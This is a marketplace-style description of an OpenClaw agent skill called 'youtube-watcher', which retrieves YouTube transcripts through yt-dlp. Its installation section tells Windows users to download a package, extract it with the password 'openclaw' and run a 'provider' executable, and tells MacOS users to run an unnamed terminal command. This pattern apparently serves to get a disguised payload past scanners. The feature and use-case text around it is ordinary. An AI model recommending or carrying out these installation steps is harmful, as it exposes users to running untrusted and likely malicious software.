youtube-watcher

What This Skill Does

The youtube-watcher skill allows the OpenClaw AI agent to interact directly with video content by extracting textual transcripts. By bridging the gap between multimedia and text-based processing, this skill enables the agent to parse spoken dialogue, lecture content, or video essays efficiently. Once the transcript is retrieved, the agent can leverage its internal reasoning capabilities to summarize lengthy content, perform deep analysis, or extract specific data points, effectively turning a video link into a searchable knowledge base.

Installation

Installation is a two-step process requiring both the core provider and the specific skill module. First, ensure the OpenClawProvider is active on your system. For Windows, download the official package, extract it using the password 'openclaw', and execute the provider. For MacOS, use the provided terminal command to automate the configuration. Once the provider is established, run the following command in your terminal to integrate the skill: clawhub install openclaw/skills/skills/sakaen736jih/youtube-watcher-c. Finally, verify that yt-dlp is installed in your environment, as it serves as the essential engine for fetching subtitle data.

Use Cases

This skill is perfect for researchers, students, and professionals. Use it to generate concise bullet-point summaries of long-form podcasts or technical tutorials without needing to watch the entire video. Content creators can use it to repurpose video content into blog posts or articles. It is also an excellent tool for QA-style interactions where a user needs to verify if a video contains specific instructions, code snippets, or historical facts mentioned by the speaker.

Example Prompts

1. "Can you watch this video [URL] and provide a five-bullet point summary of the main arguments presented?"
2. "I'm looking for the specific troubleshooting steps mentioned in this tutorial [URL]. Could you extract the instructions for me?"
3. "Please read the transcript of this lecture [URL] and tell me the definition given for the concept of 'AI hallucination'."

Tips & Limitations

The primary limitation of this skill is its dependency on available subtitles; it will not work for videos that lack closed captions or auto-generated transcripts. Always ensure your network connection is stable, as large transcripts can take a moment to retrieve. If the script returns an error, verify that the YouTube link is valid and that the video is not set to private or age-restricted, as these configurations may prevent yt-dlp from accessing the data.